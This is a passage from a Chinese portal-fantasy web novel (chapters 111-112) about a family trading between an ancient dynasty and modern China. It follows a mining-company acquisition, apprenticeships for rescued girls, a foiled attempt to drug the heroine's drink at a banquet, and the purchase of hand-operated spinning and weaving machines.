宋颜顿了顿,摇头:“老实说,都不太好。这几家公司都面临着资源短缺的难题。据我所知,振兴矿业已经在准备打包出售了,而星辉集团也在准备转型。” “安达矿产呢?” “这家的情况跟振兴矿业差不多。” 袁淼点了点头。宋颜的回答,跟她了解到的差不多。 “你打听这些干什么?” 袁淼笑了一下,顿了顿回答:“我……准备收购一家矿业公司,你觉得哪家比较合适?” 宋颜想了想:“如果你只是单纯想要一张采矿许可证,我觉得这几家中振兴矿业最合适。它的规模不大。星辉目前的运营情况虽然可以,但实际上他们手上的两座金矿已经枯竭。收购星辉的成本会比振兴要大很多。” 袁淼又问:“振兴矿业在加工和提炼矿石等方面的情况怎么样?” “这是矿企都具备的,不过星辉在这方面的情况要更好些,他们去年更换了一波设备。” 新设备,自然需要的钱更多了。 袁淼明白了:“我如果想要收购振兴,首先该做什么?” 宋颜看着袁淼:“你真想收购振兴矿业?” 袁淼重重点头,既然几家矿企在提炼加工矿石等方面的情况差不多,那她肯定会选择最便宜的。 振兴矿业的估价最低。 其他人最在乎的资源短缺问题,在她这里一点问题都没有。 宋颜想了想:“如果你真想收购一家矿企,我这里倒是有个人选,他对这方面很熟悉,我让他过来帮你看看。” 袁淼瞪大了眼睛,连忙点头。 宋颜的眼睛里满是宠溺,“明天我让他来找你。” 袁淼看着宋颜端正矜贵的脸,有一种想要冲过去啃一口的冲动。 “谢谢你!宋颜!” “什么时候有空?我请你吃饭!” 宋颜勾起嘴角:“等你把事情忙完后,我来找你!” “好!”袁淼点头,感慨问:“你怎么会知道这么多?” 宋颜低头一笑:“宋记名下有两家矿业公司!” 袁淼愣住了。 两家!矿业公司! 不愧是宋记! 许多人挤破了头,想尽了办法都弄不到一张采矿许可证,人家宋记不仅有,而且名下还有两家矿业公司! 这天晚上,袁淼就把自己这几天摸清楚的情况,以及从宋颜那里得到的消息告诉了袁博文和谢云溪。 袁博文想了想说:“我觉得振兴矿业可以!” 袁淼点头。父亲的想法跟她一样。 “宋颜呢?他认为哪家公司更适合?”谢云溪问道。 袁淼并没有向宋颜问的那么详细:“……他没说,不过他向我推荐了一个人,对这方面很熟悉,明天那人会和我联系。” 谢云溪笑了:“小宋人不错,他介绍的人一定不差。这件事情后,你可得好好感激人家。” 袁淼知道母亲话里的意思,笑着说:“放心吧,我记着呢!” “你们那边准备得怎么样?今天王所长还给我打电话了。” 谢云溪看向袁博文。袁博文回答:“人手明天就陆续到了,等我把矿区现有的工人安排好后,设备就可以传一部分过来了。” 人手到了之后,就可以开始培训。他挑选的设备都是比较容易操控的。完成一些必要的工程后,就可以挖矿了。 跟女儿说完话,谢云溪问:“晋州来的人工是明天到吗?钱大人和刘大人他们这次一共招多少人?” “一百多个吧,有些人犹豫不决,这次就没有带过来。等人到了之后,粮行和当铺那边先挑,剩下的我再看看。” 身体不好的,还不能要。毕竟是在矿区干活,有些人并不一定能适应那样的环境。 谢云溪笑着说:“粮行和当铺要的是伙计,只要年纪并不是太大,或身体实在太差,都可以干。倒是矿区那边得好好挑。一些喜欢惹事的,或者招摇的人,可不能到矿区干活。” 袁博文点头。进矿区的人,还得是可靠的人,毕竟他们会接触到一些现代化设备。 以后他们决定离开,这些人多半不能全部带走,留下来的人很有可能会被人盯上。嘴要是不紧,对谁都没好处。 “我想把矿区那边交给袁归盯着,你觉得怎么样?” 谢云溪愣了愣:“粮行和当铺这边谁管?” 以前在晋州,粮行和当铺都是袁归在管。 现在,谢云溪准备在郴州开粮行和当铺,也打算把这一块暂时交给他,等自己分娩后,再接过来。 “晋州那边的粮行和当铺让小满盯着吧,郴州这边的,先让袁归管,你身边的丫头有没有合适的?如果有,让袁归先带一阵子,等熟悉后交给她管。” “矿区那边,必须得是咱们自己的人盯着。” 谢云溪想了想:“白露聪明,立秋沉稳,她们两个都不错,但是年纪太小了。我担心她们压不住。枫叶巷那边倒是有几个丫头不错,不过,我不知道,她们愿不愿意走出来。” “我原本想着开个织坊的,风也透了出去,她们好些人都等着这件事情呢。” 经历了在北凉人营地的那些事情,女孩们的性格变化很大,即便是过了这么些天,她们当中仍然有很多人没有走出来。 而粮行和当铺是服务性行业,每天会接触到不少人,即便是幕后管事,也要跟人打交道。女孩们不一定接受得了这些事情。 袁博文也觉得人到用时方恨少,尤其是他们这种情况。 “你问问吧,也许有的丫头愿意出来做事呢。” 谢云溪点了点头。 第二天,谢云溪就带着念荟等人来到了枫叶巷,宋婆婆看到她们过来,连忙牵着小豆芽的手出来了。 汇报了院子里情况后,宋婆婆又说起昨天游街的事情。 何家的事情总算有了定论,昨天何有为和他的两个儿子,以及几个得力管事都被关在牢笼里面在郴州城里转了一圈。 许多人都去看了,押回牢房的时候,何有为已经奄奄一息,整个人身上没一处干净的,不知道被丢了多少肮脏东西。 “院子里也有好几个丫头去看了,不过,她们胆子小,没敢走远,就在门口看。” “不知道谁跟沈丫头说了这事,她哭了半夜……” 谢云溪心里有些不好受了。 何家的罪状就贴在城门口,城里的人应该都知道了,金镶玉银楼的事情已经不是秘密。沈悦兰原本在病中,从北凉人营地里出来的时候,她伤得最重,这些天虽然在治,情况也在好转,但到底伤了根本,现在都还下不了床。 “今天早上,她好些吗?” 宋婆婆笑着点头:“何止是好些!我早上过去看,那丫头不仅坐起来了,还自己换了身衣裳,让胡丫头帮她洗了脸,梳了头,整个人大不一样了!” 谢云溪心里奇怪,站起来:“走!我们去看看!” 还没到房门口,宋婆婆就叫开了:“沈丫头,胡丫头,袁夫人来看你们了!” 她推开了门,念荟扶着谢云溪刚跨进门槛,就有一道身影跌跌撞撞冲了过去,噗通一声跪到了地上。 110-120 第111章 第111章 安排 谢云溪吓了一跳, 看到是沈悦兰,连忙说:“快把她扶起来!” 胡冬梅过去扶人,却被沈悦兰避开了, 她依旧跪在地上, 垂着眉眼, 白瓷般的脸上透着倔强, 行了一个大礼,又磕起头来。 素来沉稳的胡冬梅眼圈红了。 谢云溪心里也不好受:“好了, 快起来吧,别磕了,地上凉。你的心意我知道了!” 念荟过去和胡冬梅一起将沈悦兰搀扶了起来。 沈悦兰依旧站不稳。也不知道刚才她是哪儿来的力气。 念荟和胡冬梅将人架到了床上。 谢云溪走近些看了看。沈悦兰的脸上依旧没有血色,但这丫头的五官实在生得好, 即便是一副病怏怏的样子,也美的让人挪不开眼。 “今日早上吃过了吗?” “吃过了。”沈悦兰回答。 谢云溪心里有些满意, 以前无论谁问话,沈悦兰从来不回答。即便是处理伤口要挖掉腐肉,她疼得满身是汗,也没有吭一声。 “以后, 也要像今日一样,好好吃饭,早点把身体养好。” “是,夫人。”沈悦兰又应答了一声。 谢云溪看了看念荟,念荟会意, 给沈悦兰检查了一番, 冲谢云溪点了点头。 谢云溪的心里更欣慰了。只要肯配合,好好治病养伤,这丫头的命算是捡回来了。 她今天的目的是来统计数据的。这些从北凉人营地里带过来的女孩们, 养了这么些天,大部分的人身体已无大碍,该给她们找点事做了。 除了即将要开的几间铺子上缺人,原本打算开起来的织坊也要张罗了起来。 谢云溪对念荟说:“就从这里开始吧,你问问冬梅,她是愿意留在这里学习纺织,还是有其他打算?” 念荟答应后,就去找胡冬梅说话了。 胡冬梅听完后,犹豫了一会,鼓足勇气过来,曲了曲身:“夫人,奴婢可以继续跟着您学医吗?” 谢云溪抬头:“你想学医?” 胡冬梅郑重点头。 谢云溪想了想,点头,“你想学医,当然没问题……不过你要明白,我以前教给你们的那些只是些皮毛,真正要学进去,是很辛苦的一件事情。你确定要继续跟着我学医吗?” “奴婢确定!” 谢云溪笑了:“我这里规矩不多,你以后不要奴婢来奴婢去了。” 胡冬梅应下了。 谢云溪让念荟记下来,又柔声问沈悦兰:“你呢?病好后,想干什么?” 沈悦兰垂着眉眼:“悦兰听夫人的,夫人想干悦兰干什么,悦兰就去干什么!” 她的声音虽轻,却透着一股掷地有声的气概。 谢云溪愣了愣,笑着说:“你这孩子,怎么能这么想?若是我要你去杀人放火,你也去吗?” 谢云溪的话音刚落,就听见沈悦兰轻飘飘问道:“夫人想要杀谁?” 谢云溪又愣住了,仔细打量沈悦兰,这才发现她从内到外像是换了一个人。 谢云溪惊了一下,明白眼前的小丫头是打算用自己的余生来报恩了。她说不出此刻自己心里的感受。 她把她们带出来,是希望她们能够好好活下去,她们若是能记得她这份好,她当然高兴。但如果这件事情成了她们人生的箍禁,这并不是她想要的。 眼前的丫头只有十四岁,人生的路还有很长,不应该为了这个而活。 “我想杀谁,你就去杀谁吗?以后别胡思乱想了,好好养病!”谢云溪笑着说。 也许过一段时间,她就不会这么想了。 “是,夫人!”沈悦兰应下了,语气一如先前恭顺。 谢云溪转头又对胡冬梅说:“沈小姐还没好全,这几天还得你多照料。” 胡冬梅又应下了。 谢云溪带着念荟等人出去了。念荟挨个房间去统计数据,谢云溪则来到一间房里坐下,喝了一口热水后问宋婆婆:“玉如今年七岁了吧?” 宋婆婆笑着回答:“这个月月底,七岁。” 她知道谢云溪询问这个,是要给自己的孙女一个着落了,连忙推了推她:“快去给夫人磕个头!” 小豆芽刚跪下,就被谢云溪制止了,她让小豆芽赶紧起来,小豆芽回头看了看宋婆婆。 宋婆婆满脸笑着,心里却紧张得不得了,示意孙女听谢云溪的话。 小豆芽站起了来,谢云溪招手让她过来。 小女孩的掌心里有茧,手上也有冻疮。 谢云溪暗暗叹了口气。去年的时候,这孩子身边不仅有专门的婆子,还有两个伺候的丫鬟。 “你呢?你长大了想干什么?”谢云溪柔声问。 小豆芽又看宋婆婆一眼,过了一会才回答:“我想像夫人一样,长大了当神医!” 谢云溪笑了。 宋婆婆却满心宽慰。跟了谢云溪后,目睹了她怎样给院子的丫头们治病,以及在医棚的所为,小豆芽就有了跟着谢云溪学医的想法。这很好,学得一技之长,以后哪怕她不在了,这孩子也有了仰仗。 “我可不是什么神医。” 小豆芽脆声:“夫人就是神医,卢郎中都说沈小姐没救了,但夫人把她治好了!” 谢云溪忍俊不禁。沈悦兰的情况能好转,那是中西医结合的效果。她也没想到。中医在调理体质以及治未病方面确实厉害,而她仰仗只是药物。 宋婆婆和小豆芽只看到她们每天过来换药用药,却忽略了沈悦兰每天都在口服的中药。 “你想要学医,可不是一件容易的事。除了要吃苦,你还得会识字!你愿意识字吗?” 小豆芽点头。 谢云溪心里有了底,转头对宋婆婆说:“老夫人,玉如想要学医,只是眼下我身子不便,但我身边的念荟医术勉强过得去,您愿意让玉如跟着她学吗?” 宋婆婆脸上顿时笑开了花:“哎呦!夫人,您别折煞我了,念荟姑娘那么好的医术,怎么能叫过得去?玉如能跟着念荟姑娘学习,这是她的福气!”她说着,又催促小磕头:“快给夫人磕个头!” 小豆芽闻声又要下跪,被谢云溪拉住了:“以后啊,别动不动就跪!我这里也不兴这个!” 宋婆婆高兴应下了,悄悄擦了擦眼角泪。 谢云溪又说:“过几天这院子里的丫头们就要开始学纺织了,我准备请几个做杂事的婆子,帮忙打扫做饭。府衙那边,我们已经准备要搬出来了,新宅院在紫云巷那边。老夫人是想跟着我们一起过去呢,还是想就留在这里?” 宋婆婆顿都没打:“我跟着夫人!” 自己的孙女就在袁夫人身边,她自然是能在一起,就在一起。 谢云溪点头。宋婆婆的做法跟她料想的一样。 “好,等到了那边,还要请老夫人帮我多看着点!” 宋婆婆应下了,心里却知道这只是袁夫人给她找的借口。她医术这么了得,身边的丫鬟的也非同一般,怎么可能不懂孕产? 过了一会,念荟进来了,还把叶淑婉也带了过来。 叶淑婉进来后就行了个大礼:“夫人,我想跟着您学医!” 谢云溪笑了,“你真的愿意跟我学医吗?以前我教的那些只是最基础的,后面可不仅仅只有你们见过的场景!” 叶淑婉点头。 谢云溪答应了。这些天下来,她也发现叶淑婉是个好苗子,胆大心细,肯吃苦,也很认真。 念荟把手中统计数据给谢云溪看,除了叶淑婉胡冬梅和沈悦兰以外,其他的人都愿意留在这里学习纺织。 谢云溪有点遗憾,她看中的几个苗子都对经商不感兴趣。 回去后,谢云溪就把结果告诉了袁博文。袁博文也觉得头疼:“要不,郴州这边的几个铺子还是让袁归来管吧,等铺子上了轨道之后,再让他到矿区来。” 谢云溪推了推袁博文:“商泽不是快好了?你可以把矿区的事情交给商泽。” 袁博文想了想点头。心里却觉得大材小用了。商泽的身手很好,在军中如鱼得水,他一直想等他伤好后,把神/器营交给他。 神/器营的名称还是外面先叫起来的。为了方便管理,他把现代化军/械以及各种车辆集中在一起,只有极少数人能接触到。 连打几场胜仗后,外面就把那些新兵们叫成了神/器/营的人。他顺势就成立了神/器/营,还在大刀营和新兵里面又挑了些好苗子加了进去。 如今的神/器/营人数已经不少了,仍然是他在管,各种军/械机/械等也都全归在那边。即便是巡防营和斥候营有少量现代化军/械和车辆,那也是以借调的名义过去的。 他就预备了,一旦情况,就将整个神器营打包带走。留下的人,知道不多,接触的也不多,将来他们面临的麻烦也会少很多。 “你今天去看晋州那边过来的人,有没有发现比较突出的人?” “有两个,都上过私塾,一个中过秀才,另一个在科举虽然没有斩获,但是人很机灵,只是年纪有些小,今年刚刚十六岁。” 谢云溪想了想:“中过秀才的这个能不能让他到粮行和布庄来管事?” 袁博文笑了:“我侧面问过,林秀才对经商不感兴趣,倒是秦方文以前在晋州的时候曾经在街头摆摊给人写信,他对在粮行和布庄做事并无意见。” 谢云溪点了点头。这里的读书人许多都看不起经商的,士农工商的排序在他们的脑海里已经扎了根。 “那就让秦方文这几天跟着袁归跑腿吧。” 郴州这边的铺子,门面是现成的,稍做整理就能用。虽然商品不愁,但是前期跑腿的事情不少。 袁博文同意了。 谢云溪又把准备在铺子里推出的粮食和布料给袁博文看。 “我前几天在郴州街上转了转,这边的布庄不仅布料的品种比晋州多,而且,他们的成衣销售也很好。反正咱们要开织坊了,要不,在这里的布庄里也推出棉布成衣吧?” 袁博文眼睛一亮:“棉衣?” 谢云溪笑了:“还有棉质的单衣和夹衣!” 这里的棉花虽然没有出现,但是谢云溪已经决定开春之后,就开始在这里尝试种植棉花。 北地这边的气候虽然冬长夏短,但是热起来的时候也跟南方的六七月天差不多。 这边人们的御寒,有钱人家五花八样,丝绸貂裘皮草等等都有,寻常老百姓则是一般麻葛等之类,做成衣裳,夹层里面放一些芦花和柳絮等。保暖的效果一言难尽。 袁博文老早就进一批棉衣了,但是军中人数众多,一人一件棉衣,他买到那些根本就不够分,还得找理由遮盖,他后来想了想,还是把这批棉衣封存。只是让府里的人都穿上了棉衣。 现在听谢云溪总算要推出棉衣了,他连连点头:“好好好!还有棉被!” 这里冬天的被子叫衾,做法和夹衣差不多,也是夹层里面塞着芦花柳絮等,还有的干脆是干草,用不多久就会打结,基本上沾水就废了。 谢云溪笑着说:“棉被先不急,咱们先推出棉衣看看情况。” 袁博文同意了,等到袁淼在镜子里出现,谢云溪就把要买的清单传给了她。 袁淼看到清单中出现了棉花和棉布,知道父母总算是要在布庄里推出棉衣了。 “妈,你们要棉花是打算自己组织人手做棉衣吗?要不要缝纫机和纺织机?” 谢云溪笑着说:“缝纫机就算了,你看看有没有纺织机卖。我不要机械操作的那些。” 她开织坊是为了给枫叶巷那边的女孩们寻个出路,现代化织布机等,她们即便是学会了,用处也不大,离开了机械,依旧什么都做不了。 现代的人工纺织机虽然远远比不上现代的织布机器等,但是女儿所处的现代毕竟是站在时代的前列,人工纺织技术肯定比这里发达。 枫叶巷那边女孩们学会了这些相当先进的纺织技术后,以后即便是他们离开这里,她们也能凭借手中的技术活下去。 说不定,她们其中的某些人还会在这里的历史上留下一笔。 “好,我明天让人去看看!”袁淼答应了。 谢云溪又问:“你今天见到了宋颜推荐的人吗?” 袁淼点头,满脸是笑:“见到了!他很厉害!” 袁淼把这天的事情告诉父母。宋颜介绍的这个人是宋记名下一家矿业公司的副总经理,姓林,叫林成章。 他给袁淼分析叶家振给出的三家矿企的具体情况。听了袁淼的要求,他也认为振兴矿业最合适,并且这天就联系了振兴矿业的老总钟万程,约了明天见面。 袁博文和谢云溪也觉得这位林总办事效果很高。 “淼淼,你明天去见振兴矿业公司的领导之前,给陈秘书长和王所长都打个电话。” 袁淼答应了。第二天上午出门之前就分别给陈博川和王振声打去了电话。 一行人到了阜县后,袁淼还没有下车,就看到振兴矿业公司旁边站着好些人,其中就有振兴矿业公司的总经理钟万程和两位副总。他们翘首以盼,像是正在等什么人。 袁淼看了看林成章。 他们今天只是过来看看,这阵势是不是有点大? 宋记的面子果然够份量! 上次她和沈若君过来,等了许久,才跟振兴矿业公司运营部的金副总匆匆见了一面,说了几句话。金副总有事,她们也没有再逗留。 林成章冲袁淼点了点头:“袁总,我们下车吧。” 车门打开了,林成章先下了车,而后又拉开后面的车门,护着袁淼下车。 袁淼下了车后,林成章跟在她旁边,远远就跟站着振兴矿业公司门口的几位老总打招呼。 “钟总!姚总!金总!又见面了!”他热情伸出手。 对面的钟万程却笑得有些勉强,握着林成章的手,声音有点低:“林总,昨天接到你的电话,我很高兴!不过,我们的事情能不能待会再聊?” 林成章愣了愣,随后了然笑了:“好!”又挨个跟剩下两位副总握手后,就护着袁淼站到了一边。 钟万程看了看手表,皱了皱眉,“怎么还没有来?” 第112章 第112章 加料 林成章一直关注着这边, 闻言,悄悄问旁边的金副总:“金总,你们是不是在等人?” 金副总点了点头, 一副不欲多说的样子。林成章识趣也不再询问了。 又站了一会儿, 钟万程又看了看时间, 在矿业公司门口走了几个来回后, 拿出了手机。 “喂!叶部长,是我是我, 您说得那位袁小姐,确定今天过来吗?确定是吧……哎,好好好,明白明白……没问题……请领导放心!” 他一边说话, 一边点头,笑得格外灿烂。收了电话后, 又往路的尽头张望了几眼。 林成章听得分明,看了袁淼一眼,心里一动,给了袁淼一个眼色, 带着她走向钟万程,笑着说:“钟总……要不,我们下次再约,我和袁总还有点事儿……” 他叫出袁总时,加重了语气, 话音还没落地, 钟万程就看向了袁淼,眼睛一亮:“您是……袁淼袁小姐吧?” 袁淼点头,主动伸手:“钟总您好!” 钟万程顿时笑开了花, 双手握住了袁淼的手,热情说道:“好好好,欢迎欢迎!袁小姐和林总原来认识啊?哎呦!是我眼拙了!对不住对不住!” 林成章在一边笑着,明白了袁淼的身份应该不是他先前料想的那些。宋记的招牌虽然好用,但他和振兴矿业公司的几位老总级别差不多,绝对没有面子让他们齐聚一堂在公司门口迎接。 说了几句场面话后,钟万程就领着袁淼等人进了公司。先在会议室说了会,介绍公司的情况,又带着袁淼等人进了矿区。 一路参观过来,很快就到了下午,钟万程又安排了饭局,袁淼也没有推辞。 饭局上虽然只有她和振兴矿业公司营销部的一位科长是女的,但也其乐融融。关键是林成章给力,不仅与钟万程等人相谈甚欢,也把袁淼照顾得很好。 酒喝的多了,林成章去了一趟卫生间,袁淼与振兴矿业公司营销部的黎科长正说着话,对面的金副总总算是等到了机会,拿着酒杯站了起来,笑容可掬:“袁总,您第一次过来,我招待不周,对不住,我自罚一杯!” 说完,他一口喝完了手中的酒。 钟万程等人已经知道了袁淼前段时间来到振兴矿业了。那次是她和另外一个女的,两人年纪都不大,金副总没有在意,说了几句话,就把人打发了。 万没想到,来头居然这么大,矿业资源管理部的部长都出面打招呼了。 金副总喝完一杯后,又满上了。 袁淼只得站起来。 她可不敢小瞧这些人物,即便是成功收购了振兴矿业,但想要公司按照她的意愿发展,就不得不与这些人打好交道。 他们在这里经营了很多年,而自己只是个什么都不懂的小白。 应付了金副总后,振兴矿业公司的另一位姚副总也站了起来,举着酒杯,刚说了几句话,门口就进来了几个人。 领头的一身灰色西装,搭配暗花衬衣。年纪不大,约莫二十七八岁,长得也算周正,就是眼圈深陷,目光无神,气势有些吊儿郎当。 “哟!钟总!姚总!金总!都在这儿呢?”他晃晃悠悠进来,相继跟钟万程等人打招呼。末了,看向袁淼,眼睛一亮,顿时挪不开:“这位是……” 金副总笑了一下,连忙过来了:“杜少,这位是袁小姐……您今天过来,怎么不跟我们说一声?” 杜少笑了笑,拍了拍金副总的肩膀,继续跟袁淼说话:“袁小姐很面生啊,不是我们阜县人吧?” 袁淼在来阜县之前,已经被林成章科普了一番,知道有意收购振兴矿业公司的不止她一家,还有好几家公司和个人也有意向。 其中有一家新成立的公司,总经理叫杜彦明,是其中最有可能跟她竞争的人。对方是阜县本地人,但背后却站着阜县上头荆市的一位领导,且与辉华矿业曾家还沾了亲。 不过,林成章也说过,这家公司的目的多半是为了振兴矿业公司的那张采矿许可证而来。 现在上面对这一块管理很严格,只有拥有采的矿许可证的企业或个人才有资格参与金矿开采等。 但是采矿许可证并不是那么容易拿到,所以,经营出现困难的矿企就成了香饽饽。 不过,这些人一般不会猛冲,只要矿企的收购价超过他们的预期,他们就会收手。 毕竟,大家的最终目的是为了挣钱。 “不是!”袁淼笑着回答,猜测眼前的人应该就是杜彦明。 既有后台,又是本地人,那自然不能随意得罪。 杜彦明被袁淼的笑容晃花了眼,更舍不得挪眼了。干脆拉开一张椅子,一屁股在袁淼旁边坐了下来,伸手过来:“袁小姐,自我介绍一下,我叫杜彦明,鑫源集团董事长。” 袁淼对上了号,展颜一笑:“博云珠宝,袁淼!” 不过,她并不打算与对方接触,只是端起了面前的酒杯,“幸会!” 杜彦明笑了,收回手,人往后仰:“袁小姐这就不够意思了!要喝,也得是白的呀!” 说着,他扬了扬手,身后的人上前开了一瓶白酒,又倒了两杯。 一旁的金副总见状,连忙打岔,连喝了三杯,杜彦明都没有看他一眼。 袁淼明白,来了找茬的,这位杜总大概先前志得意满,却不料突然杀出了她这个程咬金。 振兴矿业公司的几位领导集体出动,应该是上面帮她打了招呼。父亲说的对,上面对两个世界第一次合作很是看重。 钟万程也看出苗头了,笑呵呵站起来,提议大家一起喝一杯。 杜彦明瞟了钟万程一眼:“钟总别着急呀!我和袁小姐还没喝呢!” 他说着把面前的酒杯推向了袁淼,自己端起了另一杯,笑着说:“袁小姐,你不会这点面子都不给吗?” 袁淼犹豫了片刻。地头蛇能不交恶还是别交恶的好。她正要端酒,旁边坐着张青云突然动了,一把端起袁淼面前的酒,泼向了杜彦明。 一时间满场寂静,袁淼也愣了愣,随后站了起来,冷森看向正添着手指上的杜彦明。 杜彦明身后的人动了,抄起一张椅子就想冲过来打人,杜彦明拦住了:“袁小姐,你这是什么意思?不想喝?也不能动手啊!在阜县这个地方,还是第一次有人这么不给我杜彦明面子!” “今天,你必须得给我个说法!” 他说着,一把将手中的餐巾扔到了桌上。 张青云低声对袁淼说:“酒有问题!” 果然! 袁淼心里一惊,眸子也更冷了。 一旁的钟万程等人没有听到张青云的话,愣了片刻后,纷纷动了。 钟万程来到杜彦明和袁淼中间,笑呵呵做和事佬。 “杜总!袁总!误会误会!都是误会!给我个面子!咱们各退一步!” 袁淼凉凉说:“钟总错了!这不是误会!杜总喜欢喝加了料的酒,我不喜欢!让他自己喝!这有什么问题吗?” 钟万程等人愣住了。 杜彦明依旧一副吊儿郎当的样子,呵呵笑了笑。他身后的一个人越众出来,凶神恶煞冲张青云骂了一句:“我喝你妈!”随后就冲了过来。 张青云眼疾手快,一脚踢向旁边的椅子,那人始料未及,被椅子绊了个踉跄,一头栽到地上。 从洗手间出来的林成章看到包厢围着好些个服务员,他心里奇怪,走近后就听到了不寻常的声音,连忙扒开人群挤了进来。 里面已经打成了一团。 看到袁淼完好无损站在窗户边上,林成章松了一口气,小心翼翼来到她的旁边:“袁小姐,这是怎么回事?要不要报警?” 袁淼看了场上一眼,张青云正避开了来自身后袭击,一脚将面前的人扫倒,随后一把抓起他,将人提起来砸向缩成一团杜彦明等人。 另一边,钟万程等人的头发乱了,金副总的眼镜也碎了一个镜片,姚副总正忙着打电话。 “不用了!已经有人报警!” 林成章顺着袁淼的目光看向了正在打电话的姚副总,心里明白了,连忙将袁淼护在身后。 没过多久,酒店门口就传来警车的声音。包厢里的人都被带上了车,袁淼也没有例外。 倒是杜彦明不服,被带上车时,叫嚷着:“干什么?你们要干什么?你们知道我是谁吗?” 没有人理会他的叫嚷,他被强行拉上车。 进了警局,审讯开始。等袁淼从审讯室出来的时候,就看到宋颜正站在门口,和一位警官握手。 很快,宋颜就过来了,素来清冷矜贵的脸上分明有些慌张:“怎么样?你没有受伤吧?” 袁淼摇头。 张青云的身手很好,一个打五个也没有落下风,她基本上就在旁边看热闹,偶尔机会到了面前,就拿起旁边可用的凳子碗碟等补上一记。 宋颜松了一口气:“事情的前因后果基本上清楚了,杜彦明让你喝的酒确实有问题,里面含有大量的GHB!” “GHB?这是什么?”袁淼有些好奇。 宋颜推了推眼镜:“γ—羟基丁酸,也就是俗称的迷/jian/药!” 袁淼明白了。 又涨了见识。 想到她和杜彦明今天还是第一次见面,这见面礼着实少见。袁淼又轻声问道:“是因为我要收购振兴矿业吗?” 宋颜点头:“应该是。在你之前,有意向收购振兴矿业公司的企业和个人有好几家,不过他们在得知鑫源集团加入后,相继都退出了。杜彦明也和钟万程等人面谈过几次。” “不过这种事情,不到最后一步,都不能说明什么。你的参与合法合规,并不是他打击报复的理由。” 袁淼点头。 反正她不会退出。父母那边的人手一到位后,就会马上开工了,她这边也不能拖延过久。 杜彦明也从里面出来了,不过,他的手上带着镣铐,毕竟人证物证都有。但是他仍然很嚣张,看到袁淼,笑得格外灿烂,甚至冲袁淼做了个割喉的动作。 袁淼瞠目结舌,问道:“他的后台很厉害吗?” 宋颜凉凉说:“荆市经济开发区的杜副区长是他父亲,不过,马上就要退休了。” 袁淼心里有数了。 县市级开发区的区长,级别确实不低,难怪这么嚣张了。 可惜,这次人证物证都有,杜总的区长父亲又要退休了,杜总想要找她算账,没有十天半个月就别想了。 后面的事情,宋颜安排了专门的人处理。 从阜县回到魔都,已经快转钟了,袁淼打消和父母联系的念头。 第二天,沈若臻的电话打了过来。袁淼需要的几种米粮和棉花棉布等已经采购完成,手工纺织机有点麻烦,国内国外这种全手工的纺织机并不多。 如果只是个人或者小作坊操控的纺织机,市面上倒是能买到,但是沈若臻不确定,这些是不是袁淼需要的。 他将了解到的几种手工纺织机消息发给袁淼,让她先看看,确定好后,他再联系购买。 “好,辛苦了!” 挂了电话,袁淼看了看沈若臻传过来的信息。林林总总几十页,国内国外的都有。 可惜,她在这方面一点儿经验都没有,全部看完了,也没有看出好歹来。 宋颜的电话打过来了,他问袁淼昨晚休息怎么样? 袁淼笑着回答了。后半夜入睡,一大早又起来,这样的休息情况绝对称不上好。但她没有说实话。 宋颜又约了中午一起吃饭。 晚上,袁淼早早启动了镜子。谢云溪一见到她,就问起昨天晚上的事情。 袁淼笑着说:“昨天,我和林总去了阜县,跟振兴矿业的几位领导见了面,晚上又一起吃了饭,散得有点晚,就在那边的酒店住了一晚。” 谢云溪松了一口气。 昨天晚上没有看到袁淼,她整晚都没有睡好。 “怎么样?那边厂区,你进去看了吗?” “都看了,矿区也下了。”袁淼把昨天在振兴矿业的经历告诉了谢云溪。 “和叶部长给我的资料差不多,他们矿区的工人并不多,手中那座金矿每年的开采量都在下降。但是加工提炼等工艺流程很完善。” 谢云溪听完后点头:“等你爸回来,我把这些告诉他!他这几天都在忙工人的事。矿山那边原来的工人几乎都遣散了,从晋州招到工人今天上午都到齐了。” 袁淼越发有紧迫感了。 “粮行和布庄呢?装修好了吗?工人呢?都到位了吗?” 谢云溪笑着点头:“都到位了!” 袁淼拿出手机:“上次你们需要的粮食和棉花棉布等,我已经买到了,一会儿就可以传过去了。” “但是人工纺织机,我不知道你们需要哪一种。信息都在手机里面。妈,你先看看。” 袁淼说完,把手机传了过去。 谢云溪翻看起来。 袁淼又说:“粮食和棉花棉布等都在仓库那边。我现在就过去了。” “好,你去吧。” 镜子里的女儿看不到后,谢云溪就把注意力放在了手机上。 等到袁淼再次出现,她已经把手机里的人工纺织机信息全部看完了。 袁淼拿着镜子问:“我现在在仓库里了。后面就是粮食和棉花棉布等,可以传过去吗?” 谢云溪来到后院里。现在他们已经从府衙搬到了紫云巷,并且专门腾出一个院子预备放每次传过来的东西。 接收了粮食和棉花棉布等后,谢云溪就指着手机屏幕说:“这款珍妮纺纱机,现在有售吗?” 拿到手机后,谢云溪还没有看完全部信息,就相中里面的一款纺纱机。 这款纺纱机叫珍妮纺纱机,第一次出现是在西方的十八世纪,当时引起了很大反响。是十八世纪西方工业生产领域的一个划时代的发明。它的出现极大提高了当时社会的织布速度。 虽然,后来的珍妮纺纱机加入了机械的元素,织布速度再一次得到了大幅度的提升。但是最先出现的珍妮纺纱机却是全手工的,由原来的一次只能纺一根纱变成了一次可以纺多根纱线。 这件发明在十八世纪的西方都是划时代的物品,在这里就更不用说了。 袁博文和谢云溪来到这里后,去了不少的地方,也见识过大顺朝富裕的江陵一带是怎样纺纱织布的。 几乎都是家庭作坊,先将麻葛蚕丝等纺成一根根线,再用这些线织成各种布帛。效率低下,往往一两个月,才能织出一匹布。 当然,布帛的价格也不低。 麻布葛布等,一匹差不多要两三两银子,绸布等就更贵了,一匹往往要上十两银子。 北地这边,人们养蚕织布的少,所以南边的布帛到北地这里,价格更贵。 晋州那边的谢记布庄,布帛的价格算是公道,一匹寻常麻布也就三两银子,绸布则分了多种,寻常绸布也要十两银子左右,新推出棉布,谢记给出的价三两五钱一匹。 不过,即便是这个价,谢记布庄的销量也不高。 晋州的人口基数太小了,布帛这种东西跟粮食不一样,紧一紧就一就,只要能用,一般人家一年到头都难得买上一匹。 郴州就不一样了,这里的有钱人多,人口基数也大,在这里开布庄绝对比晋州赚钱。 所以,谢云溪看到珍妮纺纱机的时候,眼睛都亮了。 袁淼对这些了解不多,看了又看:“应该有!” 沈若臻既然把消息发给了她,那基本上表示他能买到货。 “妈,你确定要这款纺纱机吗?织布机呢?” 谢云溪又将自己看中的织布机指给袁淼看着:“这个就行,带飞梭的。比这里的织布机快多了。” 袁淼点了点头:“其他的,都不需要吗?要不要多买几款比较一下?” 谢云溪笑了:“不用了!” 她对这里的纺织水平有一定了解,珍妮纺纱机和飞梭织布机的出现绝对会改变这些现有的纺织技术。 虽然达不到降维打击的标准,但是绝对能碾压。 